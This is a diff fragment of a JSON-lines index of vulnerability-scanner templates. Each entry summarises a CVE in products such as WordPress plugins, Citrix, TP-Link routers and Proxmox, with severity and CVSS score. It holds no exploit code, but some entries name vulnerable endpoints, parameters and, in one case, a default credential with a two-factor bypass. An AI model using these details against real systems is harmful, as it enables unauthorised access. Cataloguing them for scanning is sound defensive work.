{"ID":"CVE-2022-3934","Info":{"Name":"WordPress FlatPM \u003c3.0.13 - Cross-Site Scripting","Severity":"medium","Description":"WordPress FlatPM plugin before 3.0.13 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape certain parameters before outputting them back in pages, which can be exploited against high privilege users such as admin. An attacker can steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2022/CVE-2022-3934.yaml"}
{"ID":"CVE-2022-3980","Info":{"Name":"Sophos Mobile managed on-premises - XML External Entity Injection","Severity":"critical","Description":"An XML External Entity (XXE) vulnerability allows server-side request forgery (SSRF) and potential code execution in Sophos Mobile managed on-premises between versions 5.0.0 and 9.7.4.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-3980.yaml"}
@@ -2397,7 +2398,6 @@
{"ID":"CVE-2023-1362","Info":{"Name":"unilogies/bumsys \u003c v2.0.2 - Clickjacking","Severity":"medium","Description":"This template checks for the presence of clickjacking prevention headers in the HTTP response, aiming to identify vulnerabilities related to the improper restriction of rendered UI layers or frames in the GitHub repository unilogies/bumsys prior to version 2.0.2.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-1362.yaml"}
{"ID":"CVE-2023-1389","Info":{"Name":"TP-Link Archer AX21 (AX1800) - Unauthenticated Command Injection","Severity":"critical","Description":"TP-Link Archer AX21 (AX1800) routers are vulnerable to unauthenticated OS command injection via the country parameter in the locale endpoint. This allows remote attackers to execute arbitrary commands as root.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-1389.yaml"}
{"ID":"CVE-2023-1408","Info":{"Name":"Video List Manager \u003c= 1.7 - SQL Injection","Severity":"high","Description":"The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-1408.yaml"}
{"ID":"CVE-2023-1434","Info":{"Name":"Odoo - Cross-Site Scripting","Severity":"medium","Description":"Odoo is a business suite that has features for many business-critical areas, such as e-commerce, billing, or CRM. Versions before the 16.0 release are vulnerable to CVE-2023-1434 and is caused by an incorrect content type being set on an API endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2023/CVE-2023-1434.yaml"}
{"ID":"CVE-2023-1454","Info":{"Name":"Jeecg-boot 3.5.0 qurestSql - SQL Injection","Severity":"critical","Description":"A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-1454.yaml"}
{"ID":"CVE-2023-1496","Info":{"Name":"Imgproxy \u003c 3.14.0 - Cross-site Scripting (XSS)","Severity":"medium","Description":"Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-1496.yaml"}
{"ID":"CVE-2023-1546","Info":{"Name":"MyCryptoCheckout \u003c 2.124 - Cross-Site Scripting","Severity":"medium","Description":"The MyCryptoCheckout WordPress plugin before 2.124 does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-1546.yaml"}
@@ -2457,7 +2457,6 @@
{"ID":"CVE-2023-24243","Info":{"Name":"CData RSB Connect v22.0.8336 - Server Side Request Forgery","Severity":"high","Description":"CData RSB Connect v22.0.8336 was discovered to contain a Server-Side Request Forgery (SSRF).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-24243.yaml"}
{"ID":"CVE-2023-24278","Info":{"Name":"Squidex \u003c7.4.0 - Cross-Site Scripting","Severity":"medium","Description":"Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-24278.yaml"}
{"ID":"CVE-2023-24322","Info":{"Name":"mojoPortal 2.7.0.0 - Cross-Site Scripting","Severity":"medium","Description":"mojoPortal 2.7.0.0 contains a cross-site scripting vulnerability in the FileDialog.aspx component, which can allow an attacker to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-24322.yaml"}
{"ID":"CVE-2023-24367","Info":{"Name":"Temenos T24 R20 - Cross-Site Scripting","Severity":"medium","Description":"Temenos T24 release 20 contains a reflected cross-site scripting vulnerability via the routineName parameter at genrequest.jsp. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-24367.yaml"}
{"ID":"CVE-2023-2437","Info":{"Name":"UserPro \u003c= 5.1.1 - Authentication Bypass","Severity":"critical","Description":"The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2437.yaml"}
{"ID":"CVE-2023-24488","Info":{"Name":"Citrix Gateway and Citrix ADC - Cross-Site Scripting","Severity":"medium","Description":"Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-24488.yaml"}
{"ID":"CVE-2023-24489","Info":{"Name":"Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-24489.yaml"}
@@ -2474,6 +2473,7 @@
{"ID":"CVE-2023-25346","Info":{"Name":"ChurchCRM 4.5.3 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the id parameter of /churchcrm/v2/family/not-found.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-25346.yaml"}
{"ID":"CVE-2023-25573","Info":{"Name":"Metersphere - Arbitrary File Read","Severity":"high","Description":"Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-25573.yaml"}
{"ID":"CVE-2023-25717","Info":{"Name":"Ruckus Wireless Admin - Remote Code Execution","Severity":"critical","Description":"Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-25717.yaml"}
{"ID":"CVE-2023-25826","Info":{"Name":"OpenTSDB \u003c= 2.4.1 - Unauthenticated RCE via Gnuplot Injection","Severity":"critical","Description":"OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-25826.yaml"}
{"ID":"CVE-2023-26035","Info":{"Name":"ZoneMinder Snapshots - Command Injection","Severity":"critical","Description":"ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-26035.yaml"}
{"ID":"CVE-2023-26067","Info":{"Name":"Lexmark Printers - Command Injection","Severity":"high","Description":"Certain Lexmark devices through 2023-02-19 mishandle Input Validation (issue 1 of 4).\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2023/CVE-2023-26067.yaml"}
{"ID":"CVE-2023-2624","Info":{"Name":"KiviCare WordPress Plugin - Cross-Site Scripting","Severity":"medium","Description":"The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-2624.yaml"}
@@ -2687,12 +2687,10 @@
{"ID":"CVE-2023-38992","Info":{"Name":"Jeecg-Boot v3.5.1 - SQL Injection","Severity":"critical","Description":"SQL injection vulnerability via the title parameter at /sys/dict/loadTreeData in jeecg-boot v3.5.1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38992.yaml"}
{"ID":"CVE-2023-39002","Info":{"Name":"OPNsense - Cross-Site Scripting","Severity":"medium","Description":"A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-39002.yaml"}
{"ID":"CVE-2023-39007","Info":{"Name":"OPNsense - Cross-Site Scripting to RCE","Severity":"critical","Description":"There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.\n","Classification":{"CVSSScore":"9.6"}},"file_path":"http/cves/2023/CVE-2023-39007.yaml"}
{"ID":"CVE-2023-39024","Info":{"Name":"Harman Media Suite \u003c= 4.2.0 - Local File Disclosure","Severity":"high","Description":"Harman Media Suite (versions 4.2.0 and below) are vulnerable to possible Local File Disclosure. This allows an unauthenticated user to potentially download attachments and recordings stored within the Media Suite application if anonymous access to the User Portal is enabled.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2023/CVE-2023-39024.yaml"}
{"ID":"CVE-2023-39026","Info":{"Name":"FileMage Gateway - Directory Traversal","Severity":"high","Description":"Directory Traversal vulnerability in FileMage Gateway Windows Deployments v.1.10.8 and before allows a remote attacker to obtain sensitive information via a crafted request to the /mgmt/ component.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39026.yaml"}
{"ID":"CVE-2023-39108","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_b parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39108.yaml"}
{"ID":"CVE-2023-39109","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39109.yaml"}
{"ID":"CVE-2023-39110","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39110.yaml"}
{"ID":"CVE-2023-39120","Info":{"Name":"Nodogsplash - Directory Traversal","Severity":"high","Description":"Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39120.yaml"}
{"ID":"CVE-2023-39121","Info":{"Name":"Emlog 2.1.9 - SQL Injection","Severity":"high","Description":"emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-39121.yaml"}
{"ID":"CVE-2023-39141","Info":{"Name":"Aria2 WebUI - Path traversal","Severity":"high","Description":"webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39141.yaml"}
{"ID":"CVE-2023-39143","Info":{"Name":"PaperCut \u003c 22.1.3 - Path Traversal","Severity":"critical","Description":"PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-39143.yaml"}
@@ -2840,7 +2838,7 @@
{"ID":"CVE-2023-50719","Info":{"Name":"XWiki \u003c 4.10.15 - Sensitive Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform. Starting in 7.2-milestone-2 and prior to versions 14.10.15, 15.5.2, and 15.7-rc-1, the Solr-based search in XWiki discloses the password hashes of all users to anyone with view right on the respective user profiles. By default, all user profiles are public. This vulnerability also affects any configurations used by extensions that contain passwords like API keys that are viewable for the attacker. Normally, such passwords aren't accessible but this vulnerability would disclose them as plain text. This has been patched in XWiki 14.10.15, 15.5.2 and 15.7RC1. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-50719.yaml"}
{"ID":"CVE-2023-50720","Info":{"Name":"XWiki \u003c 4.10.15 - Email Disclosure","Severity":"medium","Description":"The Solr-based search in XWiki discloses the email addresses of users even when obfuscation of email addresses is enabled. To demonstrate the vulnerability, search for objcontent:email* using XWiki's regular search interface.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-50720.yaml"}
{"ID":"CVE-2023-5074","Info":{"Name":"D-Link D-View 8 v2.0.1.28 - Authentication Bypass","Severity":"critical","Description":"Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-5074.yaml"}
{"ID":"CVE-2023-50839","Info":{"Name":"JS Help Desk \u003c= 2.8.1 - SQL Injection","Severity":"critical","Description":"The JS Help Desk – Best Help Desk \u0026 Support Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50839.yaml"}
{"ID":"CVE-2023-50839","Info":{"Name":"JS Help Desk \u003c= 2.8.1 - SQL Injection","Severity":"critical","Description":"The JS Help Desk – Best Help Desk \u0026 Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50839.yaml"}
{"ID":"CVE-2023-5089","Info":{"Name":"Defender Security \u003c 4.1.0 - Protection Bypass (Hidden Login Page)","Severity":"medium","Description":"The Defender Security WordPress plugin before 4.1.0 does not prevent redirects to the login page via the auth_redirect WordPress function, allowing an unauthenticated visitor to access the login page, even when the hide login page functionality of the plugin is enabled.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-5089.yaml"}
{"ID":"CVE-2023-50917","Info":{"Name":"MajorDoMo thumb.php - OS Command Injection","Severity":"critical","Description":"MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-50917.yaml"}
{"ID":"CVE-2023-50968","Info":{"Name":"Apache OFBiz \u003c 18.12.11 - Server Side Request Forgery","Severity":"high","Description":"Arbitrary file properties reading vulnerability in Apache Software Foundation Apache OFBiz when user operates an uri call without authorizations. The same uri can be operated to realize a SSRF attack also without authorizations. Users are recommended to upgrade to version 18.12.11, which fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-50968.yaml"}
@@ -2856,6 +2854,7 @@
{"ID":"CVE-2023-5244","Info":{"Name":"Microweber \u003c V.2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5244.yaml"}
{"ID":"CVE-2023-5360","Info":{"Name":"WordPress Royal Elementor Addons Plugin \u003c= 1.3.78 - Arbitrary File Upload","Severity":"critical","Description":"Arbitrary File Upload vulnerability in WordPress Royal Elementor Addons Plugin. This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. This vulnerability has been fixed in version 1.3.79\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-5360.yaml"}
{"ID":"CVE-2023-5375","Info":{"Name":"Mosparo \u003c 1.0.2 - Open Redirect","Severity":"medium","Description":"Open Redirect in GitHub repository mosparo/mosparo prior to 1.0.2.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5375.yaml"}
{"ID":"CVE-2023-54391","Info":{"Name":"Proxmox VE - Default Credentials with TFA Bypass","Severity":"critical","Description":"Detected Proxmox VE was accessible using default root@pam credentials combined with a TFA challenge bypass. An attacker could authenticate as root by submitting the default password \"root@pam\" along with a crafted tfa-challenge parameter, thereby bypassing two-factor authentication enforcement and gaining full administrative access to the hypervisor management interface.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2023/CVE-2023-54391.yaml"}
{"ID":"CVE-2023-5556","Info":{"Name":"Structurizr on-premises - Cross Site Scripting","Severity":"medium","Description":"Cross-site Scripting (XSS) - Reflected in GitHub repository structurizr/onpremises prior to 3194.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5556.yaml"}
{"ID":"CVE-2023-5558","Info":{"Name":"LearnPress \u003c 4.2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5558.yaml"}
{"ID":"CVE-2023-5559","Info":{"Name":"10Web Booster \u003c 2.24.18 - Unauthenticated Arbitrary Option Deletion","Severity":"critical","Description":"The 10Web Booster WordPress plugin before 2.24.18 does not validate the option name given to some AJAX actions, allowing unauthenticated users to delete arbitrary options from the database, leading to denial of service.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-5559.yaml"}
@@ -2916,7 +2915,7 @@
{"ID":"CVE-2023-7337","Info":{"Name":"JS Help Desk \u003c= 2.8.2 - SQL Injection","Severity":"critical","Description":"JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-7337.yaml"}
{"ID":"CVE-2024-0012","Info":{"Name":"PAN-OS Management Web Interface - Authentication Bypass","Severity":"critical","Description":"An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0012.yaml"}
{"ID":"CVE-2024-0195","Info":{"Name":"SpiderFlow Crawler Platform - Remote Code Execution","Severity":"critical","Description":"A vulnerability, which was classified as critical, was found in spider-flow 0.4.3. Affected is the function FunctionService.saveFunction of the file src/main/java/org/spiderflow/controller/FunctionController.java. The manipulation leads to code injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-249510 is the identifier assigned to this vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0195.yaml"}
{"ID":"CVE-2024-0200","Info":{"Name":"Github Enterprise Authenticated Remote Code Execution","Severity":"critical","Description":"An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0200.yaml"}
{"ID":"CVE-2024-0200","Info":{"Name":"Github Enterprise - Remote Code Execution","Severity":"critical","Description":"An unsafe reflection vulnerability was identified in GitHub Enterprise Server that could lead to reflection injection. This vulnerability could lead to the execution of user-controlled methods and remote code execution. To exploit this bug, an actor would need to be logged into an account on the GHES instance with the organization owner role. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.12 and was fixed in versions 3.8.13, 3.9.8, 3.10.5, and 3.11.3.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0200.yaml"}
{"ID":"CVE-2024-0204","Info":{"Name":"Fortra GoAnywhere MFT - Authentication Bypass","Severity":"critical","Description":"Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0204.yaml"}
{"ID":"CVE-2024-0235","Info":{"Name":"EventON (Free \u003c 2.2.8, Premium \u003c 4.5.5) - Information Disclosure","Severity":"medium","Description":"The EventON WordPress plugin before 4.5.5, EventON WordPress plugin before 2.2.7 do not have authorization in an AJAX action, allowing unauthenticated users to retrieve email addresses of any users on the blog.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-0235.yaml"}
{"ID":"CVE-2024-0250","Info":{"Name":"Analytics Insights for Google Analytics 4 \u003c 6.3 - Open Redirect","Severity":"medium","Description":"The plugin is vulnerable to Open Redirect due to insufficient validation on the redirect oauth2callback.php file. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-0250.yaml"}
@@ -2926,7 +2925,6 @@
{"ID":"CVE-2024-0593","Info":{"Name":"WordPress Simple Job Board - Unauthorized Data Access","Severity":"medium","Description":"The Simple Job Board plugin for WordPress is vulnerable to unauthorized data access due to insufficient authorization checking in the fetch_quick_job() function in all versions up to and including 2.10.8. This makes it possible for unauthenticated attackers to fetch arbitrary posts, which can be password protected or private and contain sensitive information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-0593.yaml"}
{"ID":"CVE-2024-0692","Info":{"Name":"SolarWinds Security Event Manager - Unauthenticated RCE","Severity":"high","Description":"The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds’ service, resulting in remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-0692.yaml"}
{"ID":"CVE-2024-0705","Info":{"Name":"Stripe Payment Plugin for WooCommerce \u003c= 3.7.9 - Unauthenticated SQL Injection","Severity":"critical","Description":"Stripe Payment Plugin for WooCommerce for WordPress versions up to 3.7.9 contains a sql_injection caused by insufficient escaping and lack of preparation on 'id' parameter, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'id' parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-0705.yaml"}
{"ID":"CVE-2024-0713","Info":{"Name":"Monitorr Services Configuration - Arbitrary File Upload","Severity":"high","Description":"A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-0713.yaml"}
{"ID":"CVE-2024-0799","Info":{"Name":"Arcserve Unified Data Protection - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-webui.jar!com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin() function within wizardLogin.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0799.yaml"}
{"ID":"CVE-2024-0801","Info":{"Name":"Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll","Severity":"high","Description":"A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-0801.yaml"}
{"ID":"CVE-2024-0881","Info":{"Name":"Combo Blocks \u003c 2.2.76 - Improper Access Control","Severity":"medium","Description":"The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel WordPress plugin before 2.2.76 does not prevent password protected posts from being displayed in the result of some unauthenticated AJAX actions, allowing unauthenticated users to read such posts\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-0881.yaml"}
@@ -2978,7 +2976,6 @@
{"ID":"CVE-2024-12734","Info":{"Name":"Advance Post Prefix WordPress plugin - Reflected XSS","Severity":"medium","Description":"Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-12734.yaml"}
{"ID":"CVE-2024-12737","Info":{"Name":"WP BASE Booking - Reflected XSS","Severity":"medium","Description":"WP BASE Booking of Appointments, Services and Events WordPress plugin \u003c 5.0.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before output, letting attackers execute malicious scripts in high privilege users' browsers, exploit requires victim to load a maliciously crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-12737.yaml"}
{"ID":"CVE-2024-12749","Info":{"Name":"WordPress Competition Form Plugin \u003c= 2.0 - Cross-Site Scripting","Severity":"high","Description":"Competition Form WordPress plugin \u003c= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a maliciously crafted page.\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2024/CVE-2024-12749.yaml"}
{"ID":"CVE-2024-12760","Info":{"Name":"BentoML v1.3.9 - Open Redirect","Severity":"medium","Description":"An open redirect vulnerability exists in BentoML v1.3.9, where the file parameter in the /ui/gradio_api/file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-12760.yaml"}
{"ID":"CVE-2024-12824","Info":{"Name":"Nokri – Job Board WordPress Theme \u003c= 1.6.2 - Unauthenticated Arbitrary Password Change","Severity":"critical","Description":"The Nokri – Job Board WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.6.2. This is due to the plugin not properly checking for an empty token value prior updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's password, including administrators, and leverage that to gain access to their account.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-12824.yaml"}
{"ID":"CVE-2024-12849","Info":{"Name":"Error Log Viewer By WP Guru \u003c= 1.0.1.3 - Missing Authorization to Arbitrary File Read","Severity":"high","Description":"The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-12849.yaml"}
